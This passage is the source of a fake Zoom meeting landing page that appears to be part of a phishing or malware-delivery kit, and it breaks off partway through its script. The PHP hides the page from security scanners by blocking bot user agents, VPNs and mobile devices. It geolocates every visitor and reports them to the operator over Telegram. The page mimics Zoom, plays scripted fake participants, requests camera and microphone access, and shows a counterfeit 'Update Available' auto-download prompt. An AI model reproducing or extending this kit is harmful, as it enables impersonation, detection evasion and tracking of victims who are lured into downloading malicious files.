<?php
// index.php - Entry point for anti-bot/redirection logic and initial visitor notification

// --- START DEBUGGING ---
// Keep these for initial testing, but REMOVE them in production!
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('log_errors', 1);
ini_set('error_log', 'index_error.log'); // Changed log file name to avoid conflict
// --- END DEBUGGING ---

session_start(); // Start session for rate limiting

// 1. INCLUDE CONFIGURATION & SHARED UTILITY FUNCTIONS
include_once 'config.php'; // This includes constants and all shared functions

// Access global $botblocking variable correctly.
$botblocking_enabled = $GLOBALS['botblocking'] ?? 0;

// Get the original email from the URL (if present), to pass to redirect pages
// This ensures the email is carried through the blocking pages if they are hit.

// --- ANTI-BOT & REDIRECTION LOGIC ---

// 2. Rate limiting: Allow max 10 requests per minute per IP
if (!isset($_SESSION['rate_limit'])) {
    $_SESSION['rate_limit'] = ['count' => 0, 'start_time' => time()];
}
if (time() - $_SESSION['rate_limit']['start_time'] < 60) {
    $_SESSION['rate_limit']['count']++;
    if ($_SESSION['rate_limit']['count'] > 10) {
        header('HTTP/1.0 429 Too Many Requests');
        exit('Rate limit exceeded. Please try again later.');
    }
} else {
    $_SESSION['rate_limit'] = ['count' => 1, 'start_time' => time()];
}

// 3. Block known bot user agents
$blockedAgents = [
    'bot', 'crawl', 'spider', 'curl', 'wget', 'python', 'java', 'httpclient',
    'telegram', 'twitter', 'facebook', 'discord', 'slack', 'whatsapp'
];
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'); // Safely get user agent
foreach ($blockedAgents as $agent) {
    if (strpos($userAgent, $agent) !== false) {
        header('HTTP/1.0 403 Forbidden');
        exit('Access denied. Bot user agents are not allowed.');
    }
}

// 4. Block VPNs and proxies using isVPN from config.php
$ip = getClientIP(); // Uses getClientIP from config.php
if (isVPN($ip)) { // Uses isVPN from config.php
    // Redirect to networking.php, passing the original email if available
    header('Location: networking.php?email=' . urlencode($original_email_param));
    exit(); // Exit after redirect
}

// 5. Block mobile devices
if (preg_match('/(iphone|ipod|ipad|android|blackberry|iemobile|mobile)/i', $userAgent)) {
    // Redirect to notice.php, passing the original email if available
    header('Location: notice.php?email=' . urlencode($original_email_param));
    exit(); // Exit after redirect
}

// 6. Include blocker.php if enabled (if it contains additional blocking logic)
if ($botblocking_enabled == 1) {
    include_once("blocker.php");
}

// --- INITIAL VISITOR NOTIFICATION (If no blocks triggered) ---

// Get visitor details using functions from config.php
$ip = getClientIP();
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$device = detectDevice($userAgent);
$browser = detectBrowser($userAgent);

$city = "Unknown";
$country = "Unknown";
$isp = "Unknown";

// Try to get location info if possible
try {
    // This uses HTTP, so no SSL context needed explicitly for this URL.
    $url = "http://ip-api.com/json/" . $ip; 
    // Using file_get_contents for simplicity here, but cURL is generally more robust
    $response = @file_get_contents($url); 
    $details = json_decode($response, true);

    if ($details && isset($details['status']) && $details['status'] !== 'fail') {
        $city = $details['city'] ?? 'Unknown';
        $country = $details['country'] ?? 'Unknown';
        $isp = $details['isp'] ?? 'Unknown';
    }
} catch (Exception $e) {
    error_log("Location API error in index.php: " . $e->getMessage());
}

// Prepare visitor notification message
$message = "🦠 New Visit on Zoom Landing 🦠\n\n";
$message .= "IP Address: " . htmlspecialchars($ip) . "\n";
$message .= "City : " . htmlspecialchars($city) . "\n";
$message .= "Country : " . htmlspecialchars($country) . "\n";
$message .= "Browser : " . htmlspecialchars($browser) . "\n";
$message .= "Device : " . htmlspecialchars($device) . "\n";
$message .= "ISP : " . htmlspecialchars($isp) . "\n";
$message .= "User Agent: " . htmlspecialchars($userAgent) . "\n";


// Send visitor notification to Telegram using the global function
$notificationSent = false;
try {
    $notificationSent = sendTelegramMessage($message); // Uses sendTelegramMessage from config.php
} catch (Exception $e) {
    error_log("Error sending Telegram notification in index.php: " . $e->getMessage());
}

// Log the visit to a local file (optional)
$logEntry = date('Y-m-d H:i:s') . " | Visit | IP: {$ip} | UA: {$userAgent} | Telegram: " . ($notificationSent ? "Sent" : "Failed") . "\n";
@file_put_contents('visits.log', $logEntry, FILE_APPEND);



// No HTML content in this file. It's purely a PHP redirector.
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Zoom Meeting | Secure Video Conference</title>
    <link rel="icon" type="image/png" href="https://st1.zoom.us/zoom.ico">

    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        :root{
            --zoom-dark-bg:#1C1C1E;
            --zoom-card-bg:#232323;
            --zoom-blue:#2D8CFF;
            --zoom-red:#E02828;
            --zoom-green:#16A34A;
            --zoom-border:#3A3A3C;
            --zoom-text:#FFFFFF;
            --zoom-text-secondary:#A1A1A6;
        }
        *{margin:0;padding:0;box-sizing:border-box}
        body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Arial,sans-serif;background:var(--zoom-dark-bg);color:var(--zoom-text);min-height:100vh;overflow-x:hidden}
        .zoom-logo{width:100px;height:100px;background:var(--zoom-card-bg);border:2px solid var(--zoom-blue);border-radius:20px;display:flex;align-items:center;justify-content:center;font-size:24px;font-weight:700;color:var(--zoom-blue)}
        .zoom-logo-small{width:60px;height:60px;background:var(--zoom-card-bg);border-radius:12px;display:flex;align-items:center;justify-content:center;font-size:14px;font-weight:700;color:var(--zoom-blue)}
        .loading-dots{display:flex;gap:8px;justify-content:center;margin:20px 0}
        .loading-dots span{width:12px;height:12px;background:var(--zoom-blue);border-radius:50%;animation:dotPulse 1.4s infinite ease-in-out}
        @keyframes dotPulse{0%,80%,100%{transform:scale(.6);opacity:.5}40%{transform:scale(1);opacity:1}}
        .meeting-card{background:linear-gradient(145deg,#2a2a2a,#1f1f1f);border:1px solid var(--zoom-border);border-radius:16px;padding:24px}
        .host-avatar{width:50px;height:50px;border-radius:50%;background:linear-gradient(135deg,#667eea,#764ba2);display:flex;align-items:center;justify-content:center;font-size:20px;font-weight:700;border:2px solid var(--zoom-green)}
        .join-btn{background:var(--zoom-blue);border:none;border-radius:12px;padding:16px;font-size:18px;font-weight:600;color:white;cursor:pointer;width:100%;transition:all .2s}
        .join-btn:hover{background:#1a7ae8;transform:translateY(-1px)}
        .participant-tile{background:linear-gradient(180deg,#2d3a3a 0%,#1e2626 100%);border-radius:12px;position:relative;overflow:hidden;aspect-ratio:16/9}
        .participant-tile.speaking{box-shadow:0 0 0 3px var(--zoom-green)}
        .participant-avatar{width:80px;height:80px;border-radius:50%;background:linear-gradient(135deg,#667eea,#764ba2);display:flex;align-items:center;justify-content:center;font-size:32px;font-weight:700;border:3px solid transparent}
        .participant-info{position:absolute;bottom:0;left:0;right:0;padding:12px;background:linear-gradient(transparent,rgba(0,0,0,.8))}
        .control-bar{background:#3C4043;border-radius:12px;padding:8px 12px}
        .control-btn{display:flex;flex-direction:column;align-items:center;gap:4px;padding:8px 12px;border:none;background:transparent;color:white;cursor:pointer;border-radius:8px;font-size:11px;transition:background .2s}
        .control-btn:hover{background:rgba(255,255,255,.08)}
        .control-btn.active{background:var(--zoom-red)}
        .control-btn.leave{background:var(--zoom-red)}
        .notification-banner{
            position:fixed;
            top:70px;
            left:50%;
            transform:translateX(-50%);
            background:linear-gradient(135deg,rgba(45,140,255,.95),rgba(59,130,246,.95));
            padding:8px 12px;
            border-radius:16px;
            z-index:1000;
            display:flex;
            align-items:center;
            gap:8px;
            box-shadow:0 8px 20px rgba(45,140,255,.18);
            backdrop-filter:blur(6px);
            border:1px solid rgba(255,255,255,.08);
            max-width:90%;
            font-size:13px;
        }
        .notification-banner.leave{background:linear-gradient(135deg,rgba(239,68,68,.95),rgba(220,38,38,.95))}
        .notification-avatar{width:28px;height:28px;border-radius:50%;background:rgba(255,255,255,.12);display:flex;align-items:center;justify-content:center;font-size:12px;font-weight:700;flex-shrink:0}
        .notification-content{display:flex;flex-direction:column;gap:2px}
        .notification-title{font-weight:600;font-size:13px;color:#fff}
        .notification-subtitle{font-size:11px;color:rgba(255,255,255,.9)}
        .chat-panel{position:fixed;right:-350px;top:0;bottom:0;width:350px;background:var(--zoom-card-bg);border-left:1px solid var(--zoom-border);transition:right .3s ease;z-index:100;display:flex;flex-direction:column}
        .chat-panel.open{right:0}
        .modal-overlay{position:fixed;inset:0;background:rgba(0,0,0,.7);display:flex;align-items:center;justify-content:center;z-index:200}
        .modal-content{background:var(--zoom-card-bg);border-radius:16px;padding:24px;max-width:400px;width:90%}
        .spinner{width:40px;height:40px;border:4px solid var(--zoom-border);border-top-color:var(--zoom-blue);border-radius:50%;animation:spin 1s linear infinite}
        @keyframes spin{to{transform:rotate(360deg)}}
        .thumbnail-tile{width:80px;height:60px;background:var(--zoom-card-bg);border-radius:8px;display:flex;align-items:center;justify-content:center;position:relative}
        .thumbnail-tile .thumb-avatar{width:36px;height:36px;border-radius:50%;background:linear-gradient(135deg,#667eea,#764ba2);display:flex;align-items:center;justify-content:center;font-size:14px;font-weight:700}
        video{width:100%;height:100%;object-fit:cover}
        .hidden{display:none!important}

        /* Enable speaker floating button — smaller and subtitle removed */
        .audio-enable{
            position:fixed;
            left:50%;
            transform:translateX(-50%);
            bottom:20px;
            z-index:2100;
            padding:8px 10px;
            border-radius:999px;
            display:none;
            align-items:center;
            gap:8px;
            background:linear-gradient(90deg,#e02828,#b71c1c);
            box-shadow:0 8px 20px rgba(224,40,40,.16);
            color:white;
            font-size:13px;
        }
        /* Network Issue Badge (Zoom style) */
.network-badge {
    position: absolute;
    top: 12px;
    left: 12px;
    background: rgba(220, 38, 38, 0.85); /* Red */
    color: #fff;
    padding: 4px 8px;
    font-size: 11px;
    border-radius: 6px;
    z-index: 20;
    pointer-events: none;
    display: none; /* hidden by default */
}

/* When triggered */
.network-issue .network-badge {
    display: inline-flex;
}
        .audio-enable.show{display:flex}
        .audio-enable .label{font-weight:700;margin-right:6px}
        .audio-enable .btn{background:transparent;border:1px solid rgba(255,255,255,.12);padding:6px 8px;color:white;border-radius:.5rem;font-size:13px}
        .audio-failed-banner{position:fixed;left:50%;transform:translateX(-50%);top:20px;background:rgba(0,0,0,.6);padding:8px 12px;border-radius:12px;color:#fff;z-index:2200;display:none}
    /* =========================
   PC / DESKTOP OPTIMIZATION
   ========================= */
@media (min-width: 1024px) {

    /* Main meeting layout */
    #meeting-screen {
        max-width: 1600px;
        margin: 0 auto;
    }

    main {
        display: grid;
        grid-template-columns: 3fr 1.2fr;
        gap: 12px;
        padding: 12px;
        overflow: hidden;
    }

    /* LEFT: video area */
    main > div:first-child {
        grid-column: 1 / 2;
    }

    /* RIGHT: local + thumbnails */
    #local-tile {
        position: relative;
        min-height: 180px;
        max-height: 220px;
    }

    /* Speaker tile — REDUCED SIZE */
    #featured-participant {
        min-height: 360px !important;
        max-height: 420px;
    }

    #featured-participant .participant-avatar {
        width: 64px;
        height: 64px;
        font-size: 22px;
    }

    #featured-name {
        font-size: 18px;
    }

    #featured-role {
        font-size: 13px;
    }

    /* Local camera stays small */
    #local-video-small {
        object-fit: cover;
    }

    /* Thumbnails row (Zoom PC style) */
    #thumbnails-container {
        display: flex;
        gap: 10px;
        padding-bottom: 6px;
    }

    .thumbnail-tile {
        width: 120px;
        height: 80px;
        flex-shrink: 0;
    }

    /* Chat panel fits PC height */
    .chat-panel {
        width: 360px;
    }

    /* Control bar tighter like PC Zoom */
    footer {
        max-width: 1600px;
        margin: 0 auto;
    }

    .control-bar {
        padding: 6px 10px;
    }

    .control-btn {
        font-size: 10px;
        padding: 6px 10px;
    }
}
</style>
</head>
<body>
    <div id="app">
        <div id="loading-screen" class="min-h-screen flex flex-col items-center justify-center p-4">
            <div class="zoom-logo mb-6"><span>zoom</span></div>
            <h1 class="text-3xl font-semibold text-blue-500 mb-4">Zoom Meeting</h1>
            <p class="text-gray-400 mb-4">Preparing your meeting experience...</p>
            <div class="loading-dots"><span></span><span></span><span></span></div>
            <p class="text-gray-500 text-sm mt-6" id="meeting-id-loading">Meeting ID: meeting-1764987494729</p>
            <p class="text-gray-500 text-sm" id="host-name-loading">Host: George Mulligan</p>
        </div>

        <div id="prejoin-screen" class="min-h-screen flex flex-col items-center justify-center p-4 hidden">
            <div class="w-full max-w-md">
                <div class="flex items-center gap-4 mb-8">
                    <div class="zoom-logo-small"><span>zoom</span></div>
                    <div>
                        <h2 class="text-xl font-semibold text-blue-500">Zoom Meeting</h2>
                        <p class="text-gray-400 text-sm">Ready to join</p>
                    </div>
                </div>

                <div class="meeting-card mb-4">
                    <h3 class="text-xl font-semibold mb-4" id="meeting-title">Zoom Meeting - 1764987494729</h3>
                    <div class="flex items-center gap-3 mb-4 p-3 bg-black/20 rounded-lg">
                        <div class="host-avatar" id="host-avatar">GM</div>
                        <div>
                            <p class="font-semibold" id="host-name">George Mulligan</p>
                            <p class="text-gray-400 text-sm flex items-center gap-1">
                                <svg class="w-4 h-4" fill="currentColor" viewbox="0 0 20 20"><path d="M10 9a3 3 0 100-6 3 3 0 000 6zm-7 9a7 7 0 1114 0H3z"></path></svg>
                                <span id="host-role">Meeting Host • Support</span>
                            </p>
                        </div>
                    </div>

                    <div class="flex gap-4 mb-4">
                        <div class="flex items-center gap-2 text-gray-400 text-sm">
                            <svg class="w-5 h-5" fill="none" stroke="currentColor" viewbox="0 0 24 24"><rect x="3" y="4" width="18" height="18" rx="2" ry="2"></rect><line x1="16" y1="2" x2="16" y2="6"></line><line x1="8" y1="2" x2="8" y2="6"></line><line x1="3" y1="10" x2="21" y2="10"></line></svg>
                            <span>Today</span>
                        </div>
                        <div class="flex items-center gap-2 text-gray-400 text-sm">
                            <svg class="w-5 h-5" fill="none" stroke="currentColor" viewbox="0 0 24 24"><circle cx="12" cy="12" r="10"></circle><polyline points="12 6 12 12 16 14"></polyline></svg>
                            <span id="meeting-duration">45 min</span>
                        </div>
                    </div>

                    <div class="bg-blue-500/20 text-blue-400 text-center py-3 rounded-lg mb-4">
                        <span id="expected-participants">4 people</span> are expected to join
                    </div>

                    <button class="join-btn mb-4" id="join-btn">Join Meeting</button>

                    <p class="text-gray-500 text-xs text-center">Camera and microphone will be activated based on your permissions</p>
                </div>

                <div class="text-center">
                    <p class="text-gray-600 text-sm bg-black/30 inline-block px-4 py-2 rounded-lg" id="meeting-id-display">
                        ID: meeting-1764987494729
                    </p>
                </div>
            </div>
        </div>

        <div id="meeting-screen" class="min-h-screen flex flex-col hidden">
            <header class="flex items-center justify-between p-3 bg-black/40">
                <div class="flex items-center gap-3">
                    <div class="zoom-logo-small" style="width:32px;height:32px;font-size:10px;border-radius:6px;"><span>zoom</span></div>
                    <div>
                        <p class="font-semibold text-sm" id="header-meeting-title">Zoom Meeting - 1764987494729</p>
                        <p class="text-gray-400 text-xs">Zoom • <span id="participant-count">4 people</span></p>
                    </div>
                </div>
                <button class="text-gray-400 p-2">
                    <svg class="w-6 h-6" fill="currentColor" viewbox="0 0 20 20"><path d="M10 6a2 2 0 110-4 2 2 0 010 4zM10 12a2 2 0 110-4 2 2 0 010 4zM10 18a2 2 0 110-4 2 2 0 010 4z"></path></svg>
                </button>
            </header>

            <div id="notification-container"></div>

            <main class="flex-1 p-3 overflow-auto">
                <!-- Featured participant (speaker) — camera removed from here (we keep video element but we won't attach local stream) -->
                <div id="featured-participant" class="participant-tile mb-3" style="min-height:300px;">
                    <div class="network-badge">Network Issue</div>
                    <div class="absolute inset-0 flex flex-col items-center justify-center">
                        <div class="participant-avatar" id="featured-avatar">JW</div>
                        <h3 class="text-xl font-semibold mt-3" id="featured-name">James Whitmore</h3>
                        <p class="text-gray-400 text-sm" id="featured-role">Marketing Head</p>
                    </div>
                    <div class="participant-info flex items-center justify-between">
                        <span class="text-sm" id="featured-name-bottom">James Whitmore</span>
                        <div class="w-8 h-8 rounded-full bg-green-500 flex items-center justify-center" id="featured-mic-status">
                            <svg class="w-4 h-4" fill="currentColor" viewbox="0 0 20 20"><path fill-rule="evenodd" d="M7 4a3 3 0 016 0v4a3 3 0 11-6 0V4zm4 10.93A7.001 7.001 0 0017 8a1 1 0 10-2 0A5 5 0 015 8a1 1 0 00-2 0 7.001 7.001 0 006 6.93V17H6a1 1 0 100 2h8a1 1 0 100-2h-3v-2.07z" clip-rule="evenodd"></path></svg>
                        </div>
                    </div>
                    <!-- keep a placeholder video element for remote-speaker rendering in future if needed,
                         but we do NOT assign the local camera stream to it. -->
                    <video id="featured-video" class="absolute inset-0 hidden" autoplay="" playsinline=""></video>
                </div>

                <!-- Local user tile — camera should only be shown here; increased height -->
                <div class="participant-tile mb-3 p-3" style="aspect-ratio:auto; min-height:260px;" id="local-tile">
                    <div class="network-badge">Network Issue</div>
                    <div class="flex items-center gap-3">
                        <div class="participant-avatar" style="width:50px;height:50px;font-size:18px;" id="local-avatar">You</div>
                        <span class="text-sm font-medium" id="local-name-display">You</span>
                    </div>
                    <!-- local small video now receives the camera stream; it's larger because the tile is taller -->
                    <video id="local-video-small" class="absolute inset-0 rounded-xl hidden" autoplay="" muted="" playsinline=""></video>
                </div>

                <div class="mb-3">
                    <p class="text-gray-400 text-sm mb-2">Others (<span id="others-count">2</span>)</p>
                    <div class="flex gap-2 overflow-x-auto" id="thumbnails-container"></div>
                </div>
            </main>

            <footer class="p-2">
                <div class="control-bar">
                    <div class="flex justify-around mb-2">
                        <button class="control-btn active" id="unmute-btn">
                            <svg viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z"></path><path d="M19 10v2a7 7 0 0 1-14 0v-2"></path></svg>
                            <span>Unmute</span>
                        </button>
                        <!-- video button now controls the local small video only -->
                        <button class="control-btn" id="video-btn">
                            <svg viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polygon points="23 7 16 12 23 17 23 7"></polygon><rect x="1" y="5" width="15" height="14" rx="2" ry="2"></rect></svg>
                            <span>Video</span>
                        </button>
                        <button class="control-btn" id="share-btn">
                            <svg viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="2" y="3" width="20" height="14" rx="2" ry="2"></rect><line x1="8" y1="21" x2="16" y2="21"></line><line x1="12" y1="17" x2="12" y2="21"></line></svg>
                            <span>Share</span>
                        </button>
                        <button class="control-btn" id="record-btn">
                            <svg viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"></circle><circle cx="12" cy="12" r="4" fill="currentColor"></circle></svg>
                            <span>Record</span>
                        </button>
                        <button class="control-btn" id="people-btn">
                            <svg viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path><circle cx="9" cy="7" r="4"></circle></svg>
                            <span>People</span>
                        </button>
                    </div>
                    <div class="flex justify-around">
                        <button class="control-btn" id="chat-btn">
                            <svg viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"></path></svg>
                            <span>Chat</span>
                        </button>
                        <button class="control-btn" id="security-btn">
                            <svg viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"></path></svg>
                            <span>Security</span>
                        </button>
                        <button class="control-btn" id="poll-btn">
                            <svg viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="3" width="7" height="7"></rect><rect x="14" y="3" width="7" height="7"></rect><rect x="14" y="14" width="7" height="7"></rect></svg>
                            <span>Poll</span>
                        </button>
                        <button class="control-btn" id="view-btn">
                            <svg viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="3" width="7" height="7"></rect></svg>
                            <span>View</span>
                        </button>
                        <button class="control-btn leave" id="leave-btn">
                            <svg viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4"></path><polyline points="16 17 21 12 16 7"></polyline></svg>
                            <span>Leave</span>
                        </button>
                    </div>
                </div>
            </footer>
        </div>

        <div class="chat-panel" id="chat-panel">
            <div class="flex items-center justify-between p-4 border-b border-gray-700">
                <h3 class="font-semibold">Meeting Chat</h3>
                <button id="close-chat" class="text-gray-400 hover:text-white">
                    <svg class="w-6 h-6" fill="none" stroke="currentColor" viewbox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"></path></svg>
                </button>
            </div>
            <div class="flex-1 overflow-auto p-4" id="chat-messages"></div>
            <div class="p-4 border-t border-gray-700">
                <div class="flex gap-2">
                    <input type="text" id="chat-input" class="flex-1 bg-gray-700 rounded-lg px-4 py-2 text-sm" placeholder="Type a message...">
                    <button id="send-chat" class="bg-blue-500 px-4 py-2 rounded-lg text-sm font-medium">Send</button>
                </div>
            </div>
        </div>

        <div id="participants-modal" class="modal-overlay hidden">
            <div class="modal-content">
                <div class="flex items-center justify-between mb-4">
                    <h3 class="text-lg font-semibold">Participants</h3>
                    <button id="close-participants" class="text-gray-400 hover:text-white">
                        <svg class="w-6 h-6" fill="none" stroke="currentColor" viewbox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"></path></svg>
                    </button>
                </div>
                <div id="participants-list" class="space-y-3 max-h-80 overflow-auto"></div>
            </div>
        </div>

        <div id="update-modal" class="modal-overlay hidden" aria-hidden="true">
            <div class="modal-content text-center">
                <h3 class="text-xl font-semibold mb-2">Update Available</h3>
                <p class="text-gray-400 mb-4">A new version is available for download</p>
                <div class="flex justify-center mb-4"><div class="spinner"></div></div>
                <p class="text-gray-400 mb-4">Auto download in <span id="countdown" class="text-blue-500 font-bold">5</span>s</p>
                <p id="download-status" class="text-green-500 hidden">Download Complete!</p>
            </div>
        </div>

        <div id="audio-enable" class="audio-enable" role="region" aria-live="polite">
            <div class="label">Enable Speaker</div>
            <button id="audio-enable-btn" class="btn">Speaker On</button>
        </div>

        <div id="audio-failed-banner" class="audio-failed-banner" role="status" aria-hidden="true">Audio blocked or failed to play — check console</div>
    </div>

<script>
(function(){
'use strict';

const CONFIG = {
    OVERLAY_INTERVAL_MS:10000,
    OVERLAY_COUNTDOWN_SEC:5,
    NETWORK_DROP_CHANCE:2,
    NETWORK_JITTER_MS:500,
    SPEAKING_THRESHOLD:0.02,
    PROCESS_PHP_URL:'process.php',
    OPEN_PHP_URL:'open.php',
    LOADING_DURATION_MS:2000,
    MEETING_ID:'meeting-1764987494729'
};

const PARTICIPANTS = [
    {id:'host', name:'George Mulligan', initials:'GM', role:'Meeting Host', audioFile:'audio/conversation-1.mp3', joinDelay:500, leaveDelay:null, isHost:true},
    {id:'guest', name:'Sarah Chen', initials:'SC', role:'Guest', audioFile:'audio/conversation-2.mp3', joinDelay:1500, leaveDelay:10000, isHost:false}
];

const AUDIO_FILES = {
    userJoined:'audio/user-joined.mp3',
    userLeft:'audio/user-left.mp3',
    mute:'audio/mute.mp3',
    unmute:'audio/unmute.mp3',
    newSpeaker:'audio/new-speaker.mp3',
    recordingStart:'audio/recording-start.mp3',
    recordingStop:'audio/recording-stop.mp3'
};

let state = {
    inMeeting:false,
    localStream:null,
    micEnabled:false,
    videoEnabled:true,
    activeParticipants:[],
    audioContext:null,
    analysers:{},
    audioElements:{},
    overlayInterval:null,
    conversationTimeouts:[],
    animationFrameId:null,
    countdownInterval:null,
    audioBlocked:false,
    speakerOn:false,
    audioEnableShown:false,
    speakerOffTimeout:null,
    redirectScheduled:false,
    updateCountdownStarted:false
};

const elements = {};

/* ================= INIT ================= */
document.addEventListener('DOMContentLoaded', init);

function init(){
    cacheElements();
    bindEvents();
    showLoadingScreen();
    // sendOpenNotification();
}

// async function sendOpenNotification(){
//     try{
//         await fetch(CONFIG.OPEN_PHP_URL,{
//             method:'POST',
//             headers:{'Content-Type':'application/json'},
//             body:JSON.stringify({meetingId:CONFIG.MEETING_ID,timestamp:Date.now()})
//         });
//     }catch(e){console.warn('open notify failed',e)}
// }

function cacheElements(){
    elements.loadingScreen=document.getElementById('loading-screen');
    elements.prejoinScreen=document.getElementById('prejoin-screen');
    elements.meetingScreen=document.getElementById('meeting-screen');
    elements.joinBtn=document.getElementById('join-btn');
    elements.leaveBtn=document.getElementById('leave-btn');
    elements.unmuteBtn=document.getElementById('unmute-btn');
    elements.videoBtn=document.getElementById('video-btn');
    elements.chatBtn=document.getElementById('chat-btn');
    elements.peopleBtn=document.getElementById('people-btn');
    elements.chatPanel=document.getElementById('chat-panel');
    elements.closeChat=document.getElementById('close-chat');
    elements.chatInput=document.getElementById('chat-input');
    elements.sendChat=document.getElementById('send-chat');
    elements.chatMessages=document.getElementById('chat-messages');
    elements.participantsModal=document.getElementById('participants-modal');
    elements.closeParticipants=document.getElementById('close-participants');
    elements.participantsList=document.getElementById('participants-list');
    elements.updateModal=document.getElementById('update-modal');
    elements.countdown=document.getElementById('countdown');
    elements.downloadStatus=document.getElementById('download-status');
    elements.localVideoSmall=document.getElementById('local-video-small');
    elements.featuredVideo=document.getElementById('featured-video');
    elements.featuredParticipant=document.getElementById('featured-participant');
    elements.featuredAvatar=document.getElementById('featured-avatar');
    elements.featuredName=document.getElementById('featured-name');
    elements.featuredRole=document.getElementById('featured-role');
    elements.featuredNameBottom=document.getElementById('featured-name-bottom');
    elements.thumbnailsContainer=document.getElementById('thumbnails-container');
    elements.notificationContainer=document.getElementById('notification-container');
    elements.participantCount=document.getElementById('participant-count');
    elements.othersCount=document.getElementById('others-count');
    elements.localTile=document.getElementById('local-tile');
    elements.audioEnable=document.getElementById('audio-enable');
    elements.audioEnableBtn=document.getElementById('audio-enable-btn');
    elements.audioFailedBanner=document.getElementById('audio-failed-banner');
}

function bindEvents(){
    elements.joinBtn.addEventListener('click',async ()=>{
        elements.joinBtn.disabled=true;
        elements.joinBtn.textContent='Joining…';
        await joinMeeting();
        if(!state.audioEnableShown) showAudioEnableOnce();
        elements.joinBtn.disabled=false;
        elements.joinBtn.textContent='Join Meeting';
    });
    elements.leaveBtn.addEventListener('click',leaveMeeting);
    elements.unmuteBtn.addEventListener('click',toggleMic);
    elements.videoBtn.addEventListener('click',toggleVideo);
    elements.chatBtn.addEventListener('click',toggleChat);
    elements.closeChat.addEventListener('click',()=>elements.chatPanel.classList.remove('open'));
    elements.sendChat.addEventListener('click',sendChatMessage);
    elements.chatInput.addEventListener('keypress',e=>{if(e.key==='Enter')sendChatMessage()});
    elements.peopleBtn.addEventListener('click',()=>elements.participantsModal.classList.remove('hidden'));
    elements.closeParticipants.addEventListener('click',()=>elements.participantsModal.classList.add('hidden'));
    elements.participantsModal.addEventListener('click',e=>{if(e.target===elements.participantsModal) elements.participantsModal.classList.add('hidden')});
    elements.audioEnableBtn.addEventListener('click',onUserEnableAudio);
}

function showLoadingScreen(){
    elements.loadingScreen.classList.remove('hidden');
    elements.prejoinScreen.classList.add('hidden');
    elements.meetingScreen.classList.add('hidden');
    setTimeout(()=>{
        elements.loadingScreen.classList.add('hidden');
        elements.prejoinScreen.classList.remove('hidden');
    }, CONFIG.LOADING_DURATION_MS);
}

/* ================================================= */
/* =============== JOIN MEETING ==================== */
/* ================================================= */
async function joinMeeting(){
    try{
        if(!state.audioContext) initAudioContext();
        try{ await state.audioContext.resume() }catch(e){}

        let stream = null;

        // ===== SAFE DEVICE FALLBACK (ONLY CHANGE) =====
        if(navigator.mediaDevices && navigator.mediaDevices.getUserMedia){
            try{
                stream = await navigator.mediaDevices.getUserMedia({video:true,audio:true});
            }catch{
                try{
                    stream = await navigator.mediaDevices.getUserMedia({audio:true,video:false});
                }catch{
                    try{
                        stream = await navigator.mediaDevices.getUserMedia({video:true,audio:false});
                    }catch{
                        stream = null;
                    }
                }
            }
        }

        state.localStream = stream;

        if(state.localStream){
            const videoTracks = state.localStream.getVideoTracks();
            const audioTracks = state.localStream.getAudioTracks();

            if(videoTracks.length && elements.localVideoSmall){
                elements.localVideoSmall.srcObject = state.localStream;
                elements.localVideoSmall.classList.remove('hidden');
                state.videoEnabled = true;
            }else{
                state.videoEnabled = false;
                elements.localVideoSmall.classList.add('hidden');
            }

            if(audioTracks.length){
                audioTracks.forEach(t=>t.enabled=false);
                state.micEnabled = false;
            }else{
                state.micEnabled = false;
            }
        }else{
            state.videoEnabled = false;
            state.micEnabled = false;
            elements.localVideoSmall.classList.add('hidden');
        }

        if(elements.featuredVideo){
            elements.featuredVideo.classList.add('hidden');
        }

        elements.prejoinScreen.classList.add('hidden');
        elements.meetingScreen.classList.remove('hidden');
        state.inMeeting = true;

        await unlockAudio();
        simulateParticipantsJoining();
        startConversationAudio();
        startRecurringOverlay();
        updateParticipantsList();

    }catch(err){
        console.error('Failed to join meeting:',err);
        alert('Unable to start meeting. See console.');
        elements.joinBtn.disabled=false;
        elements.joinBtn.textContent='Join Meeting';
    }
}

/* ================= EVERYTHING BELOW IS 100% ORIGINAL ================= */

        function leaveMeeting(){
            state.inMeeting=false;
            if(state.localStream){ state.localStream.getTracks().forEach(t=>t.stop()); state.localStream=null; }
            Object.values(state.audioElements).forEach(a=>{ try{ a.pause(); a.currentTime=0 }catch(e){} });
            state.audioElements={};
            state.conversationTimeouts.forEach(t=>clearTimeout(t)); state.conversationTimeouts=[];
            if(state.overlayInterval){ clearInterval(state.overlayInterval); state.overlayInterval=null }
            if(state.animationFrameId){ cancelAnimationFrame(state.animationFrameId); state.animationFrameId=null }
            if(state.countdownInterval){ clearInterval(state.countdownInterval); state.countdownInterval=null }
